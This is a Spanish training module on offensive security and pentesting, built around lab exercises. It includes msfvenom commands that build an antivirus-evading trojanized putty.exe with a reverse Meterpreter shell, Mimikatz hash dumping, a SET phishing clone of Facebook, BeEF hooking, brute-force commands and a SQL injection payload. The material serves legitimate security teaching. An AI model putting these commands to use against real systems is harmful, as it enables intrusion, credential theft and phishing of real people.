Red Team: Técnicas

ofensivas y pentesting
Módulo 3 – Explotación

CONTENIDOS
1. Vulnerabilidades

2. Ataques a contraseñas

3. Metasploit framework, MSF

4. Metasploit - Meterpreter

5. Metasploit – Msfvenom

6. Ingeniería social

7. Entornos WEB

P á g i n a 2 | 45
1. Vulnerabilidades

 El Art. 197.3 del CP establece:

 “El que por cualquier medio o procedimiento y vulnerando

las medidas de seguridad establecidas para impedirlo, acceda
sin autorización a datos o programas informáticos
contenidos en un sistema informático o en parte del mismo o
se mantenga dentro del mismo en contra de la voluntad de
quien tenga el legítimo derecho a excluirlo, será castigado
con pena de prisión de seis meses a dos años.”

 Una vez disponemos de un inventario, dónde se recogen las IP’s,

nombres de host, SSOO y datos de los servicios expuestos en el
cliente, el siguiente paso es encontrar una vía de entrada, un
vector de ataque.

 Esto lo hacemos a través de vulnerabilidades.

 Es importante en este punto distinguir qué es una vulnerabilidad.

 Activo, vulnerabilidad, amenaza, en términos generales.

 Vulnerabilidad, exploit y payload, en términos de

vulnerabilidades SW

1.1. Detección de vulnerabilidades

 Este proceso se puede hacer de forma manual o automatizada.

 Las vulnerabilidades pueden surgir por:

 Ausencia de parches en sistemas con vulnerabilidades

conocidas.
P á g i n a 3 | 45
  Errores de configuración o configuración por defecto.

 Contraseñas débiles.

 Vulnerabilidades no conocidas previamente.

1.2. Fuentes de datos sobre vulnerabilidades

1.2.1. CWE – Common Weakness Enumeration

 Es una lista de tipos de debilidades de software dirigida a

profesionales de la seguridad.

 Fue creada para unificar la descripción de las debilidades de

seguridad de software en cuanto a arquitectura, diseño y código se
refiere.

 Se puede ver como un catálogo de debilidades documentadas que

se suelen cometer programando, y que podría derivar en
vulnerabilidades.

 Es utilizada por distintas herramientas de seguridad encargadas de

identificar estas debilidades y para promover la identificación de
las vulnerabilidades, mitigación y su prevención.

 Mas de 630 debilidades divididas en 60 categorías cada una.

 [Link]

1.2.2. CAPEC – Common Attack Pattern Ennumeration

and Clasification

 Es un catálogo de patrones de ataque que se encarga de recolectar

información sobre ellos, junto a un esquema de clasificación
exhaustiva.
P á g i n a 4 | 45
 Estos patrones de ataques no son más que las descripciones de los
métodos comunes utilizados para la explotación de
vulnerabilidades.

 CAPEC cuenta con unas 400 entradas (patrones) actualmente.

 Fuente:

 [Link]
[Link]

 [Link]

1.2.3. CVE – Common Vulnerabilites and Exposures

 Es una lista de vulnerabilidades de seguridad de la información

públicamente conocidas.

 Es quizás el estándar más usado. Permite identificar cada

vulnerabilidad, asignando a cada una un código de identificación
único que se conoce como identificador CVE (CVE-ID) y está
formado por las siglas de este diccionario seguidas por el año en
que es registrada la vulnerabilidad o exposición y un número
arbitrario de cuatro dígitos (cinco).

 [Link]

P á g i n a 5 | 45
 [Link]

1.2.4. Otras Fuentes de datos sobre vulnerabilidades

 Security Focus:

 [Link]

 Dispone de una BBDD con vulnerabilidades, estado en

cuanto a explotables o no y ofrece la suscripción a una lista
de distribución.

 Exploit-DB:

 [Link]

 Dispone de un buscador de exploits por vulnerabilidades y

productos. Está más enfocada al exploit.

 UnaAlDía de Hispasec:

 Lista de distribución Española que se precia de sacar una

noticia diaria en materia de Ciberseguridad. Lleva desde
finales de lo 90.

 [Link]

 FIRST:

 [Link]

 Un buen sitio desde el que ver las vulnerabilidades CVE es

[Link]

P á g i n a 6 | 45
 1.3. Herramientas de análisis de vulnerabilidades

 Nessus. Es quizás la más reputada y más versátil. Muy enfocada a

Auditoría de Caja blanca, permite encontrar errores de
configuración y de falta de parches. Dispone de una versión
Community adecuada para el aprendizaje, limitada a análisis de 16
IP’s.

 OpenVAS-Greenbone. Es el origen de Nessus. Inicialmente

opensource, hoy también dispone de una versión community y
otra de pago. De prestaciones similares a Nessus.

 Retina. Es la más completa y cara de todas.

 Accunetix. Especializada en vulnerabilidades de entornos web.

Dispone de una versión SaaS. De pago.

 Arachni. Otro escáner de vulnerabilidades adecuado para

entornos web, completamente open source.

1.4. Taller V – Instalación de Nessus / Prueba de

vulnerabilidades nmap

 Instalación de Nessus

1. Descargar el paquete para Debian de [Link]

2. Instalar con: sudo dpkg –i “nombre_fichero.deb”

3. Arrancar el servicio mediante: sudo systemctl start

[Link].

P á g i n a 7 | 45
 4. Esto nos arranca un servidor web local en el puerto
[Link] por lo que accedemos a través del
navegador.

5. Nos conectamos y solicitamos código de activación.

6. Introducimos el código de activación recibido por correo y

continuamos el proceso de instalación.

7. A partir de aquí, Nessus descarga los plugins, que son con los
que efectúa las distintas pruebas sobre los host. Este proceso
puede tomar bastante tiempo, entre 20 y 45 minutos. Lo
dejamos acabar.

8. Para las pruebas, usaremos los sitios web vulnerables de

[Link] y la máquina Windows con el
software vulnerable instalado.

 Prueba de vulnerabilidades nmap

1. Nmap también puede buscar vulnerabilidades, en menor

medida que herramientas específicas.

2. En concreto, dispone de scripts para esta función en

/usr/share/nmap/scripts, programados en LUA .

3. Si queremos lanzar todos los scripts de categoría

“vunerabilidades” podemos hacerlo con el comando:

 nmap –script=vuln IP

4. También dispone de exploits, --script=exploit

P á g i n a 8 | 45
2. Ataques a contraseñas

2.1. Contexto conceptual

 Una de las pruebas de auditoría inevitables son las de contraseñas.

 Pueden ser “online”, para servicios bien conocidos como ftp,

ssh, vnc, telnet, rdp, sql, snmp, etc…

 O pueden ser “offline”, disponiendo de un fichero de hashes

de contraseñas.

 Entre las técnicas de ataque, se encuentran:

 Password guessing, que aunque suene obvio, siempre hay

que probarla.

 Ataques por diccionario.

 Ataques de fuerza bruta.

 Ataques de Rainbow tables, para hashes

 Durante las pruebas online hay que tener en cuenta:

 Posibles bloqueos de cuenta, que causen denegación de

servicio, DoS.

 Posibles sobrecargas en el sistema por exceso de intentos de

login.

 Para evitarlo, es conveniente caracterizar previamente el

comportamiento del sistema en tanto número de intentos fallidos
antes del bloqueo y duración del bloqueo, así como excluir
cuentas que implique pérdida de servicio.
P á g i n a 9 | 45
 Hoy día se considera la contraseña un mecanismo inseguro por
asumir que el atacante la conoce:

 [Link]
worlds-biggest-data-breaches-hacks/

 [Link]
[Link]

2.2. Herramientas

2.2.1. Para ataques en línea:

 THC Hydra: Multiplataforma, permite utilizar varios hilos en

paralelo para el test de contraseñas, soportando múltiples
protocolos, generando pares user/password desde distintos
ficheros.

 hydra -L users -P passwords [Link]

 Medusa: Muy similar al anterior, también es multiplataforma, y

permite procesamiento paralelo.

 medusa -h [Link] -u admin -P

/root/Documents/password_list.txt -M ftp

2.2.2. Para ataques fuera de línea:

 Jhon The Ripper: Permite el ataque de múltiples formatos de

hashes y algoritmos de cifrado.

 john --format=krb5tgs [Link] --wordlist=[Link]

P á g i n a 10 | 45
 Hashcat: Es quizás la más potente, permite usar las GPU’s de las
tarjetas gráficas para acelerar el proceso de cracking. Ambas
permiten ataque de fuerza bruta.

 hashcat64 –m 1000 –a 3 [Link]

2.3. Diccionarios

 Los ataques de fuerza bruta, salvo casos de muy extrema

necesidad, están fuera del alcance por la cantidad de recursos,
principalmente tiempo, necesario para crackear una contraseña.

 Ver: [Link]

 Habitualmente trabajamos con diccionarios, que bien provienen

de las fugas de información reales o bien se generan “a medida”
para un determinado test.

 Como repositorio de diccionarios, podemos encontrar las propias

distribuciones de auditoría, p.e.

 /usr/share/wordlists/[Link], que es un diccionario que

usaremos en nuestras pruebas de concepto.

 Tenemos más ejemplos en:

 [Link]
[Link]

 [Link]

 [Link]

P á g i n a 11 | 45
 Los ataques a hashes se pueden llevar a cabo mediante su
comparación con hashes precalculados, cuya contraseña origen es
conocida. Es lo que conocemos como “Rainbow Tables”.

 Podemos ver un ejemplo en [Link]

 Existen otras fuentes de tablas precompiladas de GB de hashes,

como las ofrecidas por la herramienta de crackin Opthcrack:
[Link]

 Por último y muy recomendable, es, de forma adicional, probar

con nuestros propios diccionarios, que podremos crear a partir de
palabras relacionadas con el cliente, como su nombre,
departamento, nombres de pila de empleados, etc…

 Para ello disponemos de herramientas como Crunch, que permite

crear un diccionario en base a parámetros:

 crunch 6 6 0123456789abcdef -o [Link]

 Cewl es otra herramienta útil que nos genera un diccionario con

palabras clave recogidas mediante crawling en un sitio web.

2.4. Taller VI – Intercambio de ficheros X/W

 Intercambio de ficheros X/W

1. Como técnica para intercambiar ficheros entre nuestro

Windows y el Linux, podemos usar cualquiera de estas dos:

 Servidor WEB en Python:

o Python 2.7: python -m SimpleHTTPServer [puerto]

P á g i n a 12 | 45
 o Python 3: python -m [Link] [puerto]

o Este comando levanta un servidor web con la carpeta

raíz en el directorio desde el que hemos ejecutado. Es
quizá la manera más sencilla e inmediata para transferir
ficheros desde Linux.

 Cliente smb de Linux, para el acceso a una carpeta

compartida:

o smbclient: smbclient //servidor/recurso -U

/DOMINIO/usuario

o Nos devuelve una sesión smb en el recurso compartido,

en el que tenemos los comandos ls, get y put, entre
otros.

o Para la carpeta compartida usaremos el usuario

compartida/123ABCdef.

 Ataques a contraseñas

1. Para el ataque online, vamos a levantar un servicio ftp en la

máquina [Link], con el usuario ftpuser

2. Vamos a usar Hydra o Medusa, para hacer un ataque de

diccionario. Mirar las ayudas del programa para construir el
comando.

3. Utilizaremos el diccionario [Link], disponible en Kali.

4. Por otro lado, obtendremos un fichero SAM junto con el

fichero SYSTEM de Windows, dónde se guardan los hashes

P á g i n a 13 | 45
 de contraseñas de usuario. Para ello, crearemos un usuario
con password admin1234. Generaremos una instantánea, la
montaremos y desde ahí, extraeremos los ficheros SYSTEM y
SAM. Obtenidos estos ficheros, usaremos la herramienta
Mimikatz para volcar los hashes. Obtenidos los hashes,
podremos atacarlos online y/o mediante la herramienta Jhon
The Ripper.

5. Ojo, primero desactivar el antivirus, porque lo detecta como

malware.

 Crear instantánea

 listar instantáneas vssadmin list shadows

 mklink /d directorio_montaje instantánea ****ACABAR

CON \*****

 Copiar ficheros SAM y SYSTEM a otra carpeta, junto con

Mimikatz.

 Ejecutar Mimikatz, log [Link] y lsadump::sam

/system:"SYSTEM" /sam:"SAM“

 john –format=NT –wordlist=“wordlist” [Link]

 John –show –format=NT [Link]

6. Por último, generamos nuestro propio diccionario con la

herramienta Crunch, incluida en Kali.

P á g i n a 14 | 45
3. Metasploit framework, MSF

3.1. Marco de referencia

 Entendido el concepto de exploit y payload, estos existen de

diversas tipologías y escritos en distintos lenguajes.

 Las tareas de explotación se pueden hacer de forma manual, pero

exige conocer distintos lenguajes, familiarizarse con distintas
técnicas de explotación, y dominar el uso de distintas
herramientas.

 MSF nace con la idea de integrar herramientas de análisis,

exploits, payloads y herramientas de postexplotación en un único
marco de trabajo, con órdenes y sintaxis comunes.

 Es del fabricante Rapid7, y dispone de versión gratuita y versión de

pago.

 [Link]

 [Link]

 Y lo mejor…. viene instalado en Kali Linux.

 El interfaz más habitual de MSF es su consola interactiva, a la que

accedemos con la instrucción msfconsole.

P á g i n a 15 | 45
 Adicionalmente cuenta con una interfaz gráfica, Armitage,
disponible en Kali Linux.

 Como framework, permite el desarrollo de módulos. Está escrito

en Ruby.

 Desde la consola, tenemos acceso a las utilidades que se hacen

disponibles en forma de módulos. Hay módulos de:

 Auxiliares: Escáneres de puertos y de vulnerabilidades.

 Exploit: Módulos que ejecutan exploits en el objetivo.

 Payloads: Módulos que cargará el exploit en el objetivo,

normalmente “Shell”

 Post: Módulos de postexplotación

 Encoders: Módulos para codificar los payloads.

 Otros: módulos de evasión y nops.

P á g i n a 16 | 45


 Para actualizar la herramienta, si no ha sido instalada desde un

repositorio, podemos usar msfupdate

 MSF es multiplataforma.

 La filosofía de MSF es seleccionar un módulo, configurarlo y

ejecutarlo, todo con unos comandos homogéneos.

 Ofrece una serie de herramientas que se usan desde fuera del

framework y proveen de funcionalidad extra, como el desarrollo
de exploits o integración con otras aplicaciones.

 En línea con facilitar, MSF NO es sensible a

mayúsculas/minúsculas.

P á g i n a 17 | 45
 Instrucciones básicas de MSF, para la obtención de información y
gestión de módulos:

 Search: Búsca entre los módulos disponibles. Admite

keywords como cve, type, platform.

 search type:exploit platform:Windows smb

3.1.1. Comandos Metasploit framework

 search: Busca entre los módulos disponibles. Admite keywords

como cve, type, platform:

 search type:exploit platform:Windows smb

 help: Proporciona ayuda mostrando comandos disponibles o bien

ayuda del comando indicado. Depende del contexto, los comandos
disponibles varían:

 help search

 info: Amplía la información de un módulo:

 info exploit/Windows/http/efs_fmws_userid_bof

 use: Selecciona un módulo para trabajar. Indica en el prompt el

módulo seleccionado:

 use exploit/Windows/http/efs_fmws_userid_bof

 show: Proporciona información sobre los settings de un

determinado módulo. Requiere un parámetro, all, encoders,
exploits, etc… El habitual es options desde un módulo:

 show options

P á g i n a 18 | 45
 set/gset: Fija el valor de un determinado parámetro u opción para
el módulo actual. Con g lo hace para todos los módulos (global):

 set RHOST [Link]

 back: Vuelve atrás, es decir, sale del módulo actual:

 run/exploit: Lanza el módulo con la configuración actual:

 sessions: nos permite gestionar las distintas conexiones con

óbjetivos

 Sessions –l (lista) –i nº (nos devuelve a la sesión nº)

 MSFconsole permite la ejecución de comandos de bash, nmap,

ping, etc…

3.1.2. BBDD Metasploit

 Como asistencia adicional, MSF permite ir volcando cualquier dato

obtenido en una BBDD, que se puede consultar posteriormente.
Entre ellos, IP’s, usuarios, contraseñas, vulnerabilidades, puertos
abiertos…

P á g i n a 19 | 45
 Necesita del SGBD Postgres para crear la BBDD, y podemos
consultar el contenido con los comandos vulns, creds, hosts,
services.

 Para inicializar la BBDD, Metasploit ofrece un programa, msfdb,

que permite recrear la BBDD, reconstruir, arrancar o eliminar la
BBDD.

 Dispone de una versión de nmap que inserta los resultados de este

en la BBDD como hosts. “db_nmap”.

 Con el comando “analyze” podemos explorar toda la información

en BBDD para un determinado host o rango de IP’s.

3.2. Taller VII – Uso de msfconsole

 Uso de msfconsole

1. Vamos a familiarizarnos con Metasploit Framework. Para

ello, lo lanzaremos con el comando:

 sudo msfconsole

2. Consultar la ayuda mediante help y ver los comandos

disponibles, por categorías.

3. Buscar módulos de escáner de smb, mediante el comando

search

 search type:auxiliary smb

 search cve:2013-3563

4. Buscar módulos de escáner de smb o scanner en general,

mediante el comando search
P á g i n a 20 | 45
  search type:auxiliary smb

 search cve:2013-3563

 search type:auxiliary scanner

5. Obtener información de alguno de los módulos:

 info “nombre del módulo”

6. Seleccionar un determinado módulo de escaneo, ver, fijar las

opciones y ejecutarlo:

 use auxiliary/scanner/portscan/syn

 show options

 set INTERFACE eth0

 set RHOST X.X.X.X/XX

 run

3.3. Metasploit - Payloads

 El payload habitual es una Shell, un intérprete de comandos que se

ejecuta en la máquina vulnerada y que nos permite ejecución
remota de comandos.

 Un concepto básico es entender cómo nos conectamos a ese Shell

que hemos cargado en la RAM. Tenemos dos opciones:

 Bind Shell, dónde la Shell se asocia a un puerto TCP en el que

recibe una conexión desde nuestra máquina y a través de
esta las órdenes. Esto exige dos requisitos:

P á g i n a 21 | 45
  IP del host vulnerado accesible. No nos vale para
conexiones NAT.

 Puerto seleccionado de escucha permitido en el FW.

 Reverse Shell, dónde la Shell, una vez cargada en memoria,

realiza una conexión saliente hacia la IP y puerto que
configuremos. Esta opción es la que más usamos en casos
reales en los que la máquina vulnerada se encuentra detrás
de un FW + NAT que no podemos gestionar. Exige los mismos
requisitos, pero en el lado del atacante, del que sí tendremos
el control.

 Web Shell, es un tipo de Bind que se carga en un servidor web y a

la que accedemos a través de un navegador. La ventaja es que usa
tráfico habitualmente permitido (http).

P á g i n a 22 | 45


3.4. Metasploit - Meterpreter

 MSF nos ofrece una Shell hecha para la explotación, que permite
técnicas de evasión, persistencia, escalado de privilegios, capturas
de pantalla, etc… llamada Meterpreter.

 Está disponible para plataformas Windows, Linux y Android así

como en versiones Bind y reverse.

 Soporta scripts y plugins.

 Con el comando help, podemos ver todos los comandos posibles.

También podemos aumentar el número de comandos cargando
módulos con el comando load

 load mimikatz

P á g i n a 23 | 45
 3.4.1. Comandos

 sysinfo: nos devuelve información del sistema en el que se

ejecuta.

 getuid: Devuelve el identificador de usuario con el que se ejecuta.

 gestsystem: Ejecuta distitnas técnicas de elevación de privilegios

(EoP).

 run: Ejecuta un script, normalmente de postexplotación. Scripts

interesantes son winenum, scraper, getcountermeasure,
remotewinenum.

 migrate: Nos permite, junto con el comando pid, migrar el proceso

meterpreter a otro proceso. Es habitual hacerlo pues el proceso
vulnerado puede ser inestable.

 search: Para buscar ficheros en el sistema de ficheros remoto.

3.5. Taller VIII – Explotación de vulnerabilidad

 Explotación de vulnerabilidad

1. En primer lugar, ejecutaremos el programa vulnerable (EFS)

en la máquina Windows.

2. Comprobaremos que podemos conectarlos a él desde Kali

bien con la herramienta netcat o con el navegador.

3. Lanzaremos MSF y buscaremos un módulo de exploit para

efs.

 search type:exploit efs

P á g i n a 24 | 45
 4. Cargaremos dicho módulo y lo configuraremos, tanto los
settings como el payload.

 use exploit/Windows/http/efs_fmws_userid_bof

 show options

 show payloads

 set payload

5. Lanzaremos el exploit con meterpreter como payload, en

ambas opciones, bind y reverse.

6. Exploramos las opciones de meterpreter.

7. Cargamos el módulo Mimikatz, load mimikatz y vemos que

nuevas opciones incluye.

3.6. Metasploit – Msfvenom

 Una de las herramientas que proporciona MSF es Msfvenom, que

permite crear nuestros propios exploit.

 Podríamos crear un fichero que, si se ejecuta en otro sistema, nos

devuelve una Shell de Meterpreter, por ejemplo.

 Es capaz de, usando un ejecutable existente, “incrustar” un

payload.

 Ofrece opciones de codificación que ayudan a la evasión de

antivirus.

P á g i n a 25 | 45
  msfvenom --payload windows/meterpreter/reverse_tcp --
format exe --encoder x86/shikata_ga_nai -- iterations 10
LHOST=[Link] > [Link]

3.7. Taller IX – Creación de exploit

 El objetivo es crear un ejecutable con meterpreter inyectado y

ejecutarlo en la máquina Windows, tomando el control de esta.

1. Para ello descargaremos el ejecutable de putty, wget

[Link] y
lo copiaremos al directorio /home/alumnocrif

2. Una vez hecho, generaremos el ejecutable malicioso con el

comando:

 msfvenom -p windows/meterpreter/reverse_tcp -f exe -e

x86/shikata_ga_nai -i 3 -k -x [Link] LHOST=“IP KALI”
LPORT=4444 >[Link]

3. Copiaremos el ejecutable a la máquina Windows.

4. Abriremos un servidor en Kali que escuche la conexión del

meterpreter remoto:

 use exploit/multi/handler

 show options

 set payload payload/windows/meterpreter/reverse_tcp

 set LHOST “IP Kali”

 set LPORT 4444

P á g i n a 26 | 45
  run

5. Ejecutaremos el fichero modificado en el Windows y

esperaremos la conexión.

P á g i n a 27 | 45
4. Ingeniería social

 La ingeniería social es una técnica básica en Hacking, y puede o no

estar incluida entre las técnicas permitidas en una auditoría de
seguridad.

 Básicamente, consiste en conseguir de un tercero que tome una

acción por su voluntad, que nos permita ganar ventaja, como
información, ejecución de Shell, conexiones, etc…

 Para profundizar en el tema, disponemos de múltiples fuentes de

información, por ejemplo:
[Link]

 Adicionalmente disponemos de herramientas de hacking como

SET o BEEF, que permiten generar entornos que, mediante
ingeniería social, podemos obtener información del usuario.

4.1. Taller X – Taller de phishing

 El objetivo es crear y discutir la viabilidad de un entorno web

replicado.

1. Para ello, usaremos la herramienta SET, Social Engineering

Toolkit, para replicar un entorno web, por ejemplo Facebook.
Es importante que este entorno tenga la autenticación en un
único paso, es decir, usuario y contraseña.

 sudo setoolkit

2. Seleccionaremos las opciones 1, 2 y 3 sucesivamente, que

nos permiten realizar un ataque mediante sitio web de
ingesta de credenciales.
P á g i n a 28 | 45
 3. Básicamente, levantaremos un entorno web replicando la
web de nuestra elección, y las credenciales que se inserten
en dicho sitio nos llegarán a nosotros.

4. Podemos probar con cualquier sitio, pero recomiendo

empezar con [Link]

4.2. Taller XI – Taller de ingeniería social XSS

 El objetivo es poner de manifiesto la existencia de herramientas

que permiten comunicarse con el usuario aprovechando su
confianza en un tercero.

1. Para ello, usaremos un framework de explotación de

navegadores mediante XSS llamado BEEF.

2. Para su instalación en Kali Linux:

 sudo apt install beef-xss

3. Una vez instalado, lo ejecutamos con:

 sudo beef-xss

4. Ojo, nos pedirá que fijemos una password para hacer login,
apuntarla!!

5. La herramienta consiste en un servidor web, que mediante la

carga de un script en el navegador, permite “interactuar” con
él.

6. Dispone de un panel de control, al que se accede mediante

un navegador una vez instalado y arrancado, en la URL:

 [Link]
P á g i n a 29 | 45
7. Y a su vez, dispone de una página de ejemplo, que carga el
script “malicioso”, a la que nos conectaremos desde él
navegador de la máquina víctima:

 [Link]

8. Si nos conectamos desde el navegador de Windows,

podremos interactuar con él desde la consola de
administración de Beef. Explorar los comandos de Ingeniería
social, “Fake notification bar” por ejemplo.

 [Link]

P á g i n a 30 | 45
5. Entornos WEB

 Los entornos web, por su naturaleza, son un capítulo principal en

la auditoría de seguridad.

 Su naturaleza en cuanto a:

 Exposición: son entornos expuestos públicamente 24x7

 Complejidad: Disponen de cada vez más funcionalidad, lo

que implica más aplicaciones que a su vez implican más
posibles vulnerabilidades.

 Universales, ya que cada vez más aplicaciones se migran a

este entorno, teniendo una serie de tecnologías conocidas.

 Del lado cliente: html5, css, javascript

 Del lado servidor: php, asp, java, etc… Y bases de datos.

 La organización que vela por definir estándares y buenas prácticas

para el desarrollo de aplicaciones Web es OWASP.

 OWASP es una fuente de información casi inagotable, para

orientar a los desarrolladores en el mundo del desarrollo seguro.

 “Abogamos por resolver la seguridad en aplicaciones como

un problema de personas, procesos y tecnología, ya que los
enfoques más efectivos para la seguridad en aplicaciones
requieren mejoras en todas estas áreas.”

P á g i n a 31 | 45
 5.1. OWASP - Estándares de facto para el desarrollo
seguro

 El desarrollo de aplicaciones seguras es una tarea compleja, ya que

demanda una concepción general de los riesgos de la información
contenida, solicitada y recibida por el sistema, más allá de cumplir
con el objetivo funcional básico de la aplicación.

 Existe un marco de referencia que vela por las técnicas de

desarrollo seguro y ofrece herramientas, guías e informes para su
implantación.

 OWASP organiza su actividad en forma de proyectos, teniendo en

la actualidad más de 200, y 19 de ellos los considerados “flagship”.

 Ver los proyectos: [Link]

5.2. OWASP - Top Ten Project

 Es un informe de consenso sobre las vulnerabilidades más

habituales en aplicaciones WEB, que se hace extensible a cualquier
entorno.

 Actualmente está en su versión 2017. Suele salir cada tres años.

 Indica las vulnerabilidades, así como un rating sobre el posible

impacto y su dificultad de explotación.

 Indica pautas sobre su remediación.

 Lo vamos a usar para hacer el acercamiento al Hacking de

entornos web.

P á g i n a 32 | 45
  Proyecto Top Ten
[Link]

5.3. Arquitectura básica de una aplicación WEB

 Usuario

 Realiza peticiones http

 Interpreta y renderiza las respuestas html+css+js

 Servidor Front End + Middleware

 Atiende peticiones http

 Consulta al backend según lógica de la aplicación

 Genera respuestas html+css+js

 Servidor Back End

 Almacena y devuelve datos de un SGBD.

 SQL

P á g i n a 33 | 45
 5.4. Estructura de un identificador de recurso URI

 Protocolo://nombrehost:puerto/rutaAlRecurso/recurso?
parametro1=valor&parametro2=valor

 Protocolo: http o https

 Nombrehost:puerto: Nombre DNS de la máquina o IP y

puerto de escucha, por defecto el 80 para http y 443 para
https.

 rutaAlRecurso/recurso: La ruta desde el home del servidor

web al recurso solicitado.

 Parametro1: Envío de información hacia el servidor, cuando

usamos el método GET.

 Usamos dos métodos para enviar información al servidor, GET y

POST, cuya principal diferencia es que en uno, la información va en
forma de parámetros en la URL de la petición, y en el segundo,
POST, va en el cuerpo de la petición.

5.5. Entornos WEB vulnerables para formación

 Disponemos de múltiples sitios web vulnerables para explorar las

distintas vulnerabilidades así como sus técnicas de explotación.

 Son altamente recomendables para su uso en el aula.

 Entre ellas:

 Damned Web Vulnerable Application, DVWA:

[Link]

P á g i n a 34 | 45
  OWASP Multillidae II:
[Link]

 OWASP WebGoat: En distintos lenguajes, Java, .net, ruby:

[Link]

 Gruyere: [Link]

 Y lo mejor del mundo de la comunidad open source, OBWAP,

Owasp Broken Web Application Project, que contiene en una
imagen .vmdk todas las distribuciones web vulnerables. Ideal para
el laboratorio del aula.

5.6. Identificación de aplicaciones web. Whatweb

 Aparte de las herramientas vistas, veremos herramientas

específicas para este entorno.

 Whatweb, incluida en Kali, permite explorar un sitio Web e

identificar aplicaciones como CMS’s, plugins, librerías de js, de css,
servidor web, etc…

 Dispone de distintos niveles de agresividad, similar a nmap.

 whatweb –a 3 [Link]

 Adicionalmente dispone de opciones para cambiar el user agent,

autenticarse en la página, utilizar proxy, enviar cookies, etc…

5.7. Fuerza bruta en una aplicación WEB

 Los mismos ataques que hemos visto a contraseñas, se pueden

hacer a aplicaciones web, con la dificultad de desconocer la lógica
de autenticación de la aplicación.

P á g i n a 35 | 45
 Para estudiar dicha lógica, debemos de poder capturar y analizar
las peticiones que generan los formularios enviados desde el
cliente.

 Disponemos de varias herramientas como Burpsuite y OWASP

ZAP.

 Burpsuite es una herramienta de pago, que dispone de una

versión community.

 OWASP ZAP es una herramienta opensource, escrita en Java, que

permite funcionalidades similares a Burpsuite.

 Ambas son ideales para profundizar en el aprendizaje de las

aplicaciones WEB y están incluidas en Kali Linux.

5.8. Taller XII – Uso de Burpsuite

 El objetivo de esta práctica es familiarizarse con el entorno web

a través de la herramienta Burpsuite.

1. Para ello, dispondremos de una máquina con el entorno

DVWA cargado y accesible en Internet, en la IP
[Link]:567

2. Este entorno se arranca mediante un contenedor Docker,

con el comando (sólo instructor):

 docker run –rm –it –p567:80 vulnerables/dvwa

3. A partir de aquí, arrancaremos burpsuite en Kali con el

comando burpsuite y configuraremos el proxy de nuestro
navegador en “localhost” y puerto 8080, que es el usado por
defecto por Burp, para todos los protocolos.
P á g i n a 36 | 45
 4. En este punto tendremos el entorno de Kali configurado para
analizar y modificar las peticiones web.

 2ª parte:

1. En este primer ejercicio y para evitar errores en la

navegación, vamos a “romper el https”.

2. HTTPS cifra las conexiones extremo a extremo, entre el

navegador y el servidor web.

3. La ruptura del https consiste en cifrar entre el navegador y el

proxy y entre el proxy y el servidor web.

4. Burp nos ofrece un servicio por el que simula certificados

X.509 válidos para cualquier dominio, de forma que nos
permite hacer las prácticas de forma transparente.

5. Para ello, descargamos el certificado conectándonos en el

navegador a [Link] y lo instalamos como
entidad de confianza.

6. A partir de aquí podemos navegar a cualquier página servida

por https, y podremos ver las peticiones en Burp sin cifrar,
saltando las medidas de seguridad como HSTS.

 3ª parte:

1. Revisar el menú proxy. Vemos las opciones, dónde indica el

puerto de escucha del proxy y qué queremos interceptar.

2. Revisar el menú de intercept on y off y visualizar las

peticiones y las respuestas.

P á g i n a 37 | 45
 3. Estudiar una petición, su encabezado y estructura.

4. Realizar el login en la aplicación DVWA con admin/password.

5. Revisar las opciones de seguridad.

6. Visualizar el código fuente de las páginas así como los menús

de la página web.

7. Ir al menú de Brute Force y visualizar el envío del formulario

de autenticación de dicha página.

 ¿Qué campos son los que envía para autenticar?

 ¿Qué método usa para el envío de dichos campos?

 4ª parte:

1. Una vez entendido el formulario de login, vamos a hacer un

ataque de fuerza bruta.

2. Para ello, usaremos el módulo “intruder” de Burp.

3. Desde el historial de peticiones, identificamos la de login.

4. Dentro de ese formulario, los campos de usuario y password,

y los enviamos a Intruder.

5. En Intruder, configuramos el ataque del tipo “Cluster Bomb”,

y damos posibles valores a los campos de usuario y password
seleccionados, poniendo en último término las credenciales
válidas conocidas.

6. Lanzamos el ataque.

P á g i n a 38 | 45
  Analizar resultados vía tamaño de las repuestas y
renderizado de estas.

5.9. Búsqueda de rutas en servidor WEB

 Una posible vulnerabilidad en un servidor web son las rutas que

quedan accesibles aunque no enlazadas ni indexadas.

 Nos podemos hacer una idea de este mecanismo viendo el fichero

[Link]

 [Link]/[Link]

 Para encontrar este tipo de rutas, que pueden resultar de interés,

podemos crear peticiones http con rutas creadas mediante un
diccionario, mediante herramientas como dirb o dirbuster y los
diccionarios que estas aportan.

 Adicionalmente, podemos encontrar rutas con información

“jugosa” mediante Google Dorks, p.e.

 inurl:/wp-content/uploads/wp-file-manager-pro/fm_backup

5.10. Taller XIII – Fuerza bruta de rutas

 Entendidas las peticiones web, vamos a realizar un ataque por

diccionario a rutas de posible interés en un servidor web.

1. Para ello, usaremos la aplicación dirbuster.

2. En ella, introduciremos la URL a escanear y exploraremos las

opciones para poner credenciales de autenticación para
poder acceder al resto de las páginas del portal.

P á g i n a 39 | 45
 3. Fijaremos un ataque por diccionario, utilizando alguno de los
disponibles en /usr/share/dirbuster/wordlists/

4. Lanzamos el ataque.

5. El ataque lleva mucho tiempo, por lo que no lo acabaremos,

pero analizaremos lo que está sucediendo y los resultados
que vamos obteniendo.

6. Esta prueba es un “basic” en la auditoría de entornos WEB.

5.11. Inyección de código

 En las aplicaciones en general, el punto más crítico dónde surgen

vulnerabilidades es en la interacción con el usuario, la entrada de
datos.

 A partir de que introducimos los datos, estos se incorporan en la

lógica del programa y si no son correctamente validados, podemos
de alguna forma intervenir en dicha lógica.

 En el caso más habitual del SQL, una consulta como la siguiente,

que recibe como dato variable “usuario”,

 SELECT user FROM usuarios WHERE uid=‘usuario’ ,podría

devolvernos un volcado de todos los usuarios si introducimos
como parámetro usuario=‘ OR 1=1 ‘, quedando la consulta:

 SELECT user FROM usuarios WHERE uid=‘’ OR 1=1’’

5.12. Taller XIV – Inyección de SQL

 El ataque lo realizaremos contra en entorno de DVWA, en

[Link]:567

P á g i n a 40 | 45
  En el menú de SQL Injection, revisaremos el código fuente de la
página e identificaremos las posibles inyecciones de código para
listar el contenido de la BBDD a través del campo ID.

 Una vez listados todos los usuarios, procederemos a saltar el

formulario de Brute Force mediante una inyección de código
SQL, revisando igualmente el código fuente de la aplicación.

5.13. Búsqueda de inyecciones de SQL - SQLmap

 El texto a inyectar para generar la consulta depende de:

 El gestor de BBDD.

 La lógica de la aplicación.

 Para crear inyecciones es necesario conocer en profundidad el

gestor, sus tablas internas y el lenguaje SQL.

 Una vez comprendido esto, podemos automatizar la búsqueda de

campos inyectables mediante el uso de SQLmap.

